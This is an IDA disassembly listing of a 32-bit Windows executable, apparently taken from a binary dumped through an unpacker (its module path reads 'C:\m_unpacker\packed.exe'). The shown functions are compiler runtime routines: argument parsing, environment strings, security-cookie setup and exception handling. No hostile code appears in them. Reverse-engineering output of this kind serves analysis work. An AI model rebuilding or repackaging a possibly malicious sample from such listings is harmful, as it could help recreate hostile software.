		cmp	[ebp+var_4], eax
		setz	al
		mov	[ebp+var_4], eax

loc_40B16B:				; CODE XREF: sub_40B06B+DFj
					; sub_40B06B+F1j
		shr	ecx, 1

loc_40B16D:				; CODE XREF: sub_40B06B+DAj
		test	ecx, ecx
		jz	short loc_40B183

loc_40B171:				; CODE XREF: sub_40B06B+113j
		dec	ecx
		test	edx, edx
		jz	short loc_40B17A
		mov	byte ptr [edx],	5Ch
		inc	edx

loc_40B17A:				; CODE XREF: sub_40B06B+109j
		inc	dword ptr [edi]
		test	ecx, ecx
		jnz	short loc_40B171
		mov	[ebp+arg_4], edx

loc_40B183:				; CODE XREF: sub_40B06B+104j
		mov	al, [esi]
		test	al, al
		jz	short loc_40B1DE
		cmp	[ebp+var_4], 0
		jnz	short loc_40B197
		cmp	al, 20h
		jz	short loc_40B1DE
		cmp	al, 9
		jz	short loc_40B1DE

loc_40B197:				; CODE XREF: sub_40B06B+122j
		test	ebx, ebx
		jz	short loc_40B1D8
		test	edx, edx
		movsx	eax, al
		push	eax
		jz	short loc_40B1C6
		call	sub_41054E
		test	eax, eax
		pop	ecx
		jz	short loc_40B1BA
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+arg_4]
		mov	[ecx], al
		inc	esi
		inc	dword ptr [edi]

loc_40B1BA:				; CODE XREF: sub_40B06B+140j
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al
		jmp	short loc_40B1D3
; ---------------------------------------------------------------------------

loc_40B1C6:				; CODE XREF: sub_40B06B+136j
		call	sub_41054E
		test	eax, eax
		pop	ecx
		jz	short loc_40B1D3
		inc	esi
		inc	dword ptr [edi]

loc_40B1D3:				; CODE XREF: sub_40B06B+159j
					; sub_40B06B+163j
		inc	dword ptr [edi]
		mov	edx, [ebp+arg_4]

loc_40B1D8:				; CODE XREF: sub_40B06B+12Ej
		inc	esi
		jmp	loc_40B134
; ---------------------------------------------------------------------------

loc_40B1DE:				; CODE XREF: sub_40B06B+11Cj
					; sub_40B06B+126j ...
		test	edx, edx
		jz	short loc_40B1E9
		mov	byte ptr [edx],	0
		inc	edx
		mov	[ebp+arg_4], edx

loc_40B1E9:				; CODE XREF: sub_40B06B+175j
		inc	dword ptr [edi]
		mov	ecx, [ebp+arg_8]
		jmp	loc_40B101
; ---------------------------------------------------------------------------

loc_40B1F3:				; CODE XREF: sub_40B06B+99j
					; sub_40B06B+B2j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		pop	esi
		pop	ebx
		jz	short loc_40B1FF
		and	dword ptr [eax], 0

loc_40B1FF:				; CODE XREF: sub_40B06B+18Fj
		inc	dword ptr [ecx]
		leave
		retn
sub_40B06B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B203	proc near		; CODE XREF: .text:00404414p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_436834, ebx
		push	esi
		push	edi
		jnz	short loc_40B21B
		call	sub_4051B3

loc_40B21B:				; CODE XREF: sub_40B203+11j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	ebx
		mov	byte_427E3C, bl
		call	ds:dword_41D060	; GetModuleFileNameA
		mov	eax, dword_436858
		cmp	eax, ebx
		mov	off_4279E8, esi
		jz	short loc_40B249
		cmp	[eax], bl
		mov	[ebp+var_4], eax
		jnz	short loc_40B24C

loc_40B249:				; CODE XREF: sub_40B203+3Dj
		mov	[ebp+var_4], esi

loc_40B24C:				; CODE XREF: sub_40B203+44j
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	edi, [ebp+var_C]
		call	sub_40B06B
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	eax, 3FFFFFFFh
		jnb	short loc_40B2B4
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnb	short loc_40B2B4
		mov	edi, eax
		shl	edi, 2
		lea	eax, [edi+ecx]
		cmp	eax, ecx
		jb	short loc_40B2B4
		push	eax
		call	sub_407AEA
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40B2B4
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		add	edi, esi
		push	edi
		push	esi
		lea	edi, [ebp+var_C]
		call	sub_40B06B
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		dec	eax
		mov	dword_4279CC, eax
		mov	dword_4279D0, esi
		xor	eax, eax
		jmp	short loc_40B2B7
; ---------------------------------------------------------------------------

loc_40B2B4:				; CODE XREF: sub_40B203+65j
					; sub_40B203+6Dj ...
		or	eax, 0FFFFFFFFh

loc_40B2B7:				; CODE XREF: sub_40B203+AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B203	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BC	proc near		; CODE XREF: .text:0040440Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_427E40
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_41D130
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_40B305
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40B2EC
		mov	dword_427E40, 1
		jmp	short loc_40B30E
; ---------------------------------------------------------------------------

loc_40B2EC:				; CODE XREF: sub_40B2BC+22j
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_40B300
		mov	eax, ebp
		mov	dword_427E40, eax
		jmp	short loc_40B305
; ---------------------------------------------------------------------------

loc_40B300:				; CODE XREF: sub_40B2BC+39j
		mov	eax, dword_427E40

loc_40B305:				; CODE XREF: sub_40B2BC+1Aj
					; sub_40B2BC+42j
		cmp	eax, 1
		jnz	loc_40B392

loc_40B30E:				; CODE XREF: sub_40B2BC+2Ej
		cmp	esi, ebx
		jnz	short loc_40B321
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40B321

loc_40B31A:				; CODE XREF: sub_40B2BC+DCj
					; sub_40B2BC+E8j ...
		xor	eax, eax
		jmp	loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B321:				; CODE XREF: sub_40B2BC+54j
					; sub_40B2BC+5Cj
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_40B336

loc_40B328:				; CODE XREF: sub_40B2BC+71j
					; sub_40B2BC+78j
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_40B328
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_40B328

loc_40B336:				; CODE XREF: sub_40B2BC+6Aj
		mov	edi, ds:dword_41D134
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_40B387
		push	ebp
		call	sub_407AEA
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_40B387
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_40B383
		push	[esp+18h+var_8]
		call	sub_4039C3
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_40B383:				; CODE XREF: sub_40B2BC+B7j
		mov	ebx, [esp+18h+var_8]

loc_40B387:				; CODE XREF: sub_40B2BC+97j
					; sub_40B2BC+A6j
		push	esi
		call	ds:dword_41D138	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B392:				; CODE XREF: sub_40B2BC+4Cj
		cmp	eax, ebp
		jz	short loc_40B39A
		cmp	eax, ebx
		jnz	short loc_40B31A

loc_40B39A:				; CODE XREF: sub_40B2BC+D8j
		call	ds:off_41D13C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_40B31A
		cmp	[esi], bl
		jz	short loc_40B3B8

loc_40B3AE:				; CODE XREF: sub_40B2BC+F5j
					; sub_40B2BC+FAj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_40B3AE
		inc	eax
		cmp	[eax], bl
		jnz	short loc_40B3AE

loc_40B3B8:				; CODE XREF: sub_40B2BC+F0j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_407AEA
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_40B3D6
		push	esi
		call	ds:off_41D140
		jmp	loc_40B31A
; ---------------------------------------------------------------------------

loc_40B3D6:				; CODE XREF: sub_40B2BC+10Cj
		push	ebp
		push	esi
		push	edi
		call	sub_407FA0
		add	esp, 0Ch
		push	esi
		call	ds:off_41D140
		mov	eax, edi

loc_40B3EA:				; CODE XREF: sub_40B2BC+60j
					; sub_40B2BC+D4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_40B2BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3F1	proc near		; CODE XREF: .text:loc_4043E6p
		push	esi
		push	edi
		mov	eax, offset dword_4215A0
		mov	edi, offset dword_4215A0
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_40B412

loc_40B403:				; CODE XREF: sub_40B3F1+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B40B
		call	eax

loc_40B40B:				; CODE XREF: sub_40B3F1+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_40B403

loc_40B412:				; CODE XREF: sub_40B3F1+10j
		pop	edi
		pop	esi
		retn
sub_40B3F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B415	proc near		; DATA XREF: sub_407D29+3Fo
		push	esi
		push	edi
		mov	eax, offset dword_4215A8
		mov	edi, offset dword_4215A8
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_40B436

loc_40B427:				; CODE XREF: sub_40B415+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B42F
		call	eax

loc_40B42F:				; CODE XREF: sub_40B415+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_40B427

loc_40B436:				; CODE XREF: sub_40B415+10j
		pop	edi
		pop	esi
		retn
sub_40B415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B439	proc near		; CODE XREF: .text:loc_4044D2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423064
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, 0BB40E64Eh
		cmp	eax, edi
		mov	ebx, 0FFFF0000h
		jz	short loc_40B469
		test	eax, ebx
		jz	short loc_40B469
		not	eax
		mov	dword_423068, eax
		jmp	short loc_40B4C9
; ---------------------------------------------------------------------------

loc_40B469:				; CODE XREF: sub_40B439+21j
					; sub_40B439+25j
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41D1A0
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_41D194	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_41D0DC	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_41D104	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41D058	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		cmp	esi, edi
		jnz	short loc_40B4AF
		mov	esi, 0BB40E64Fh
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------

loc_40B4AF:				; CODE XREF: sub_40B439+6Dj
		test	esi, ebx
		jnz	short loc_40B4BA
		mov	eax, esi
		shl	eax, 10h
		or	esi, eax

loc_40B4BA:				; CODE XREF: sub_40B439+74j
					; sub_40B439+78j
		mov	dword_423064, esi
		not	esi
		mov	dword_423068, esi
		pop	esi

loc_40B4C9:				; CODE XREF: sub_40B439+2Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_40B439	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B4CD	proc near		; DATA XREF: sub_40B539o
					; .data:00423060o ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		mov	eax, [edi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_40B506
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_40B506
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_40B501
		cmp	eax, 19930521h
		jz	short loc_40B501
		cmp	eax, 19930522h
		jz	short loc_40B501
		cmp	eax, 1994000h
		jnz	short loc_40B506

loc_40B501:				; CODE XREF: sub_40B4CD+1Dj
					; sub_40B4CD+24j ...
		call	sub_40C208

loc_40B506:				; CODE XREF: sub_40B4CD+Dj
					; sub_40B4CD+13j ...
		cmp	byte_427E48, 0
		push	esi
		jz	short loc_40B532
		push	dword_427E44
		call	sub_405543
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_40B532
		push	esi
		call	sub_410561
		test	eax, eax
		pop	ecx
		jz	short loc_40B532
		push	edi
		call	esi
		jmp	short loc_40B534
; ---------------------------------------------------------------------------

loc_40B532:				; CODE XREF: sub_40B4CD+41j
					; sub_40B4CD+53j ...
		xor	eax, eax

loc_40B534:				; CODE XREF: sub_40B4CD+63j
		pop	esi
		pop	edi
		retn	4
sub_40B4CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B539	proc near		; DATA XREF: c.7ld2ih:0041D2E8o
		push	offset sub_40B4CD
		call	ds:dword_41D19C	; SetUnhandledExceptionFilter
		push	eax
		call	sub_4054D7
		mov	dword_427E44, eax
		pop	ecx
		mov	byte_427E48, 1
		xor	eax, eax
		retn
sub_40B539	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B55A	proc near		; DATA XREF: c.7ld2ih:0041D304o
		cmp	byte_427E48, 0
		jz	short locret_40B57D
		push	dword_427E44
		call	sub_405543
		pop	ecx
		push	eax
		call	ds:dword_41D19C	; SetUnhandledExceptionFilter
		mov	byte_427E48, 0

locret_40B57D:				; CODE XREF: sub_40B55A+7j
		retn
sub_40B55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B57E	proc near		; DATA XREF: c.7ld2ih:004219F8o
		mov	dword ptr [ecx], offset	off_41DC34
		jmp	sub_40308A
sub_40B57E	endp

; ---------------------------------------------------------------------------

loc_40B589:				; DATA XREF: c.7ld2ih:off_41DC34o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41DC34
		call	sub_40308A
		test	byte ptr [esp+8], 1
		jz	short loc_40B5A5
		push	esi
		call	sub_40332D
		pop	ecx

loc_40B5A5:				; CODE XREF: .text:0040B59Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40B5AB	proc near		; CODE XREF: sub_40B7EA+4Ep
					; sub_40BDB6+21Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_40B601
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_40B601
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_40B5DF
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_408380
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40B5DF

loc_40B5DB:				; CODE XREF: sub_40B5AB+3Cj
					; sub_40B5AB+4Bj ...
		xor	eax, eax
		jmp	short loc_40B604
; ---------------------------------------------------------------------------

loc_40B5DF:				; CODE XREF: sub_40B5AB+1Ej
					; sub_40B5AB+2Ej
		test	byte ptr [esi],	2
		jz	short loc_40B5E9
		test	byte ptr [edi],	8
		jz	short loc_40B5DB

loc_40B5E9:				; CODE XREF: sub_40B5AB+37j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_40B5F8
		test	byte ptr [edi],	1
		jz	short loc_40B5DB

loc_40B5F8:				; CODE XREF: sub_40B5AB+46j
		test	al, 2
		jz	short loc_40B601
		test	byte ptr [edi],	2
		jz	short loc_40B5DB

loc_40B601:				; CODE XREF: sub_40B5AB+Bj
					; sub_40B5AB+13j ...
		xor	eax, eax
		inc	eax

loc_40B604:				; CODE XREF: sub_40B5AB+32j
		pop	edi
		pop	esi
		retn
sub_40B5AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B607	proc near		; CODE XREF: sub_40B64B+85p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0E0434F4Dh
		jz	short loc_40B62E
		cmp	eax, 0E06D7363h
		jnz	short loc_40B648
		call	sub_40574D
		and	dword ptr [eax+90h], 0
		jmp	sub_40C208
; ---------------------------------------------------------------------------

loc_40B62E:				; CODE XREF: sub_40B607+Dj
		call	sub_40574D
		cmp	dword ptr [eax+90h], 0
		jle	short loc_40B648
		call	sub_40574D
		add	eax, 90h
		dec	dword ptr [eax]

loc_40B648:				; CODE XREF: sub_40B607+14j
					; sub_40B607+33j
		xor	eax, eax
		retn
sub_40B607	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_40B8AC+ECp
					; sub_40BC58+36p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_4218F0
		call	__SEH_prolog4
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [edi+4], 80h
		jg	short loc_40B66C
		movsx	esi, byte ptr [ebx+8]
		jmp	short loc_40B66F
; ---------------------------------------------------------------------------

loc_40B66C:				; CODE XREF: sub_40B64B+19j
		mov	esi, [ebx+8]

loc_40B66F:				; CODE XREF: sub_40B64B+1Fj
		mov	[ebp+var_1C], esi
		call	sub_40574D
		add	eax, 90h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0

loc_40B682:				; CODE XREF: sub_40B64B+9Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_40B6EC
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40B691
		cmp	esi, [edi+4]
		jl	short loc_40B696

loc_40B691:				; CODE XREF: sub_40B64B+3Fj
		call	sub_40C254

loc_40B696:				; CODE XREF: sub_40B64B+44j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_40B6C7
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_40C2A0

loc_40B6C7:				; CODE XREF: sub_40B64B+65j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_40B6E7
; ---------------------------------------------------------------------------

loc_40B6CD:				; DATA XREF: c.7ld2ih:00421910o
		push	[ebp+ms_exc.exc_ptr]
		call	sub_40B607
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_40B6D7:				; DATA XREF: c.7ld2ih:00421914o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]

loc_40B6E7:				; CODE XREF: sub_40B64B+80j
		mov	[ebp+var_1C], esi
		jmp	short loc_40B682
; ---------------------------------------------------------------------------

loc_40B6EC:				; CODE XREF: sub_40B64B+3Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40B711
		cmp	esi, [ebp+arg_C]
		jz	short loc_40B702
		call	sub_40C254

loc_40B702:				; CODE XREF: sub_40B64B+B0j
		mov	[ebx+8], esi
		call	__SEH_epilog4
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B70B	proc near		; DATA XREF: c.7ld2ih:00421908o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_40B70B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B711	proc near		; CODE XREF: sub_40B64B+A8p
		call	sub_40574D
		cmp	dword ptr [eax+90h], 0
		jle	short locret_40B72B
		call	sub_40574D
		add	eax, 90h
		dec	dword ptr [eax]

locret_40B72B:				; CODE XREF: sub_40B711+Cj
		retn
sub_40B711	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B72C	proc near		; CODE XREF: sub_40B8AC+93p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_40B76E
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_40B76E
		mov	ecx, [eax+14h]
		cmp	ecx, 19930520h
		jz	short loc_40B757
		cmp	ecx, 19930521h
		jz	short loc_40B757
		cmp	ecx, 19930522h
		jnz	short loc_40B76E

loc_40B757:				; CODE XREF: sub_40B72C+19j
					; sub_40B72C+21j
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_40B76E
		call	sub_40574D
		xor	ecx, ecx
		inc	ecx
		mov	[eax+20Ch], ecx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40B76E:				; CODE XREF: sub_40B72C+8j
					; sub_40B72C+Ej ...
		xor	eax, eax
		retn
sub_40B72C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B771	proc near		; CODE XREF: sub_4069F0+112p
					; sub_40B9D2+6Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421918
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_40B7AE
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_40B7AE
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_40B7AE
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_40B7AE
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	dword ptr [ecx+18h]
		call	sub_4045E5
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_40B7AE:				; CODE XREF: sub_40B771+11j
					; sub_40B771+19j ...
		call	__SEH_epilog4
		retn
sub_40B771	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_40C208

; =============== S U B	R O U T	I N E =======================================



sub_40B7C5	proc near		; CODE XREF: sub_40BA48+86p
					; sub_40BA48+113p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_40B7E8
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_40B7E8:				; CODE XREF: sub_40B7C5+11j
		pop	esi
		retn
sub_40B7C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7EA	proc near		; CODE XREF: sub_40BDB6+111p
					; sub_40BDB6+2AEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		test	edi, edi
		jnz	short loc_40B7FE
		call	sub_40C254
		jmp	sub_40C208
; ---------------------------------------------------------------------------

loc_40B7FE:				; CODE XREF: sub_40B7EA+8j
		and	[ebp+var_8], 0
		cmp	dword ptr [edi], 0
		mov	[ebp+var_1], 0
		jle	short loc_40B85E
		push	ebx
		push	esi

loc_40B80D:				; CODE XREF: sub_40B7EA+70j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		mov	eax, [eax+0Ch]
		mov	ebx, [eax]
		test	ebx, ebx
		lea	esi, [eax+4]
		jle	short loc_40B852
		mov	eax, [ebp+var_8]
		shl	eax, 4
		mov	[ebp+var_C], eax

loc_40B828:				; CODE XREF: sub_40B7EA+60j
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+1Ch]
		mov	eax, [esi]
		push	eax
		mov	eax, [edi+4]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_40B5AB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40B84E
		dec	ebx
		add	esi, 4
		test	ebx, ebx
		jg	short loc_40B828
		jmp	short loc_40B852
; ---------------------------------------------------------------------------

loc_40B84E:				; CODE XREF: sub_40B7EA+58j
		mov	[ebp+var_1], 1

loc_40B852:				; CODE XREF: sub_40B7EA+33j
					; sub_40B7EA+62j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [edi]
		jl	short loc_40B80D
		pop	esi
		pop	ebx

loc_40B85E:				; CODE XREF: sub_40B7EA+1Fj
		mov	al, [ebp+var_1]
		leave
		retn
sub_40B7EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B863	proc near		; CODE XREF: sub_40BDB6+30Ap
		push	4
		mov	eax, offset loc_41C8BE
		call	sub_4049AF
		call	sub_40574D
		cmp	dword ptr [eax+94h], 0
		jz	short loc_40B882
		call	sub_40C254

loc_40B882:				; CODE XREF: sub_40B863+18j
		and	dword ptr [ebp-4], 0
		call	sub_40C241
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	sub_40C208
sub_40B863	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B894	proc near		; DATA XREF: c.7ld2ih:00421940o
		call	sub_40574D
		mov	ecx, [ebp+8]
		push	0
		push	0
		mov	[eax+94h], ecx
		call	sub_40456B
		int	3		; Trap to Debugger
sub_40B894	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8AC	proc near		; CODE XREF: sub_40BC58+57p

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0040B9C7 SIZE 00000005 BYTES

		push	2Ch
		push	offset dword_421990
		call	__SEH_prolog4
		mov	ebx, ecx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], ebx
		and	[ebp+var_34], 0
		mov	eax, [edi-4]
		mov	[ebp+var_24], eax
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_404889
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		call	sub_40574D
		mov	eax, [eax+88h]
		mov	[ebp+var_2C], eax
		call	sub_40574D
		mov	eax, [eax+8Ch]
		mov	[ebp+var_30], eax
		call	sub_40574D
		mov	[eax+88h], esi
		call	sub_40574D
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		and	[ebp+ms_exc.disabled], 0
		xor	eax, eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	[ebp+ms_exc.disabled], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+arg_C]
		push	edi
		call	sub_40491E
		add	esp, 14h
		mov	[ebp+var_1C], eax
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------

loc_40B93C:				; DATA XREF: c.7ld2ih:004219B0o
		mov	eax, [ebp+ms_exc.exc_ptr]
		call	sub_40B72C
		retn
; ---------------------------------------------------------------------------

loc_40B945:				; DATA XREF: c.7ld2ih:004219B4o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_40574D
		and	dword ptr [eax+20Ch], 0
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_4]
		cmp	dword ptr [esi+4], 80h
		jg	short loc_40B969
		movsx	ecx, byte ptr [edi+8]
		jmp	short loc_40B96C
; ---------------------------------------------------------------------------

loc_40B969:				; CODE XREF: sub_40B8AC+B5j
		mov	ecx, [edi+8]

loc_40B96C:				; CODE XREF: sub_40B8AC+BBj
		mov	ebx, [esi+10h]
		and	[ebp+var_20], 0

loc_40B973:				; CODE XREF: sub_40B8AC+11Ej
		mov	eax, [ebp+var_20]
		cmp	eax, [esi+0Ch]
		jnb	short loc_40B993
		imul	eax, 14h
		add	eax, ebx
		mov	edx, [eax+4]
		cmp	ecx, edx
		jle	short loc_40B9C7
		cmp	ecx, [eax+8]
		jg	short loc_40B9C7
		mov	eax, [esi+8]
		mov	ecx, [eax+edx*8+8]

loc_40B993:				; CODE XREF: sub_40B8AC+CDj
